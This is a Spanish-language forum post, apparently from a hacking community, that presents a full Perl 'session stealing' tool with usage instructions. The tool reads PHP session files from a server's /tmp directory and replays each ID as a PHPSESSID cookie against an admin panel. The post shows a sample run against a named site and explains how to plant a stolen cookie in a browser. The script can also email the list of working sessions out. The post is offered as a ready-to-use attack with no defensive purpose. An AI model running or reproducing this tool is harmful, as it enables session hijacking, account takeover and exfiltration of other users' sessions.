Local Session Hijacking Tool
Esta herramienta se ejecuta en el servidor a atacar y lo que hace es ir probando una a una todas las sessions almacenadas. Con cada session visita un panel dado y busca un string dado para identificar si ha habido o no un acceso exitoso al mismo.
Su utilización es muy sencilla, paso a explicarlo brevemente y a dejarles un ejemplo:
Código:
murder@netbook:~$ perl test.pl
Error, faltan parametros:
-p || --panel >>> define la url completa del panel a atacar.
-s || --string >>> define el string único para identificar el panel, entre comillas.
-t || --tmp >>> define la localización del directorio /tmp.
Ejemplo: ./myself.pl -p http://www.lol.com/admin -s "<form action=login.php" -t /home/tmp -c SI
Como pueden ver es necesario pasarle 3 valores. Uno es la opción "-p" con la url COMPLETA hasta el panel de administración. También es necesario pasarle un string que identifique el panel de login, como por ejemplo "<form method=post action=login.php>", esto se hace con la intención de que cuando haya una sesión que funcione el programa pueda identificarla.
El último parametro necesario es el path del tmp y se pasa con la opción -t.
Veamos un ejemplo real atacando Diosdelared.com:
Cita:
user@diosdelared.com ~] # perl lsht.pl -p Diosdelared - Seguridad Informática -s "Iniciar ses" -t /tmp.
[+] Url del panel a atacar: Diosdelared - Seguridad Informática
[+] String única para identificar el panel: Iniciar ses
[+] Path del directorio tmp: /tmp
[+] Probando...
[1] 758611451a2774cf10b628ce41be3139 No funciona...
[2] 720676c0b131a0d7741433a9952c46ce No funciona...
[3] d6292bb0d4ac9fa3e2f4c3ae65c50636 No funciona...
[4] e6056dfeda8611c5ae8035bef0db05f0 No funciona...
[5] 61383c416fe3a078aa49e9e11b3d99ef No funciona...
[6] 1025a80436553e8421b757f86b808eda Funciona!!
[!] Enviando mail...
|
Bien, si se fijan estamos atacando el home login de Diosdelared, el string para identificar el login es "Iniciar ses", que aparece arriba del todo si no estamos logeados.
Si se le define un email, la tool envia la lista de sessions que funcionaron via email y sino simplemente las guarda en "lista.txt".
Ahora solo resta editar las cookies con el editor de cookies que prefieran y crear una llamada "
PHPSESSID" con valor 1025a80436553e8421b757f86b808eda para diosdelared.com path "/" y habremos tomado la sesión de ese usuario.
Acá les dejo el código completo de la herramienta:
Código:
#!/usr/bin/perl -w
# Tmp +r Session Steal Software
# Coded by MurdeR,
# visita www.diosdelared.com
# http://murder.diosdelared.com
#descomenta la siguiente linea si deseas que el script
#te notifique por email cuando ownee alguna session...
my $mail = "";
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
foreach $options (@ARGV) {
$xn++;
if ($options eq "-p" or $options eq "--panel") {
$admin = $ARGV[$xn];
}
if ($options eq "-s" or $options eq "--string") {
$string = $ARGV[$xn];
}
if ($options eq "-t" or $options eq "--tmp") {
$tmpdir = $ARGV[$xn];
}
}
if (!defined($tmpdir) or !defined($admin) or !defined($string)) {
print "Error, faltan parametros:
-p || --panel >>> define la url completa del panel a atacar.
-s || --string >>> define el string único para identificar el panel, entre comillas.
-t || --tmp >>> define la localización del directorio /tmp.
Ejemplo: ./myself.pl -p http://www.lol.com/admin -s \"<form action=login.php\" -t /home/tmp -c SI\n";
exit();
}
#tomando valores por stdin
print "[+] Url del panel a atacar: $admin\n";
print "[+] String única para identificar el panel: $string\n";
#separo el host de la url...
my $host;
@host=split("http://",$admin);
@host = split("/",$host[1]);
$host = $host[0];
print "[+] Path del directorio tmp: $tmpdir\n";
print "\n\n[+] Probando...\n";
opendir(IMD, $tmpdir) || die("Cannot open directory");
@archivos= readdir(IMD);
closedir(IMD);
my $n=0;
foreach $archivo (@archivos)
{
unless ( ($archivo eq ".") || ($archivo eq "..") )
{
if ($archivo =~ m/sess_/) {
$n = $n+1;
my $cookie;
@cookie=split("sess_",$archivo);
$cookie=$cookie[1];
chomp($cookie);
$lwp = LWP::UserAgent->new();
$req = HTTP::Request->new('GET', $admin);
$req->header('Host' => $host,
'Keep-Alive' => '300',
'Connection' => 'keep-alive',
'Referer' => 'http://www.referer.com/index.php',
'Cookie' => 'PHPSESSID=' . $cookie . '; path=/');
$contenido = $lwp->request($req)->as_string;
if ( $contenido =~ m/$string/) {
print "[$n] $cookie No funciona...\n";
}
else {
printf "[$n] $cookie Funciona!!!\n";
open(ARCH,">> lista.txt") || print "[!] No pudo guardarse $cookie";
print ARCH "$n $cookie\n";
close(ARCH);
if ($mail ne "") {
print "[!] Enviando mail...\n";
system('cat lista.txt | mail -s "Owned Session" $mail');
}
}
$lwp="";
$req="";
}
}
}
Me queda pendiente agregarle una opción para mantenerse ejecutando a la espera de que el admin inicie sesión. De ese modo podria ampliarse el margen de tiempo del ataque a dias, sin necesidad de interactuar con el programa. Simplificando muchisimo las cosas y aumentando considerablemente la eficacia.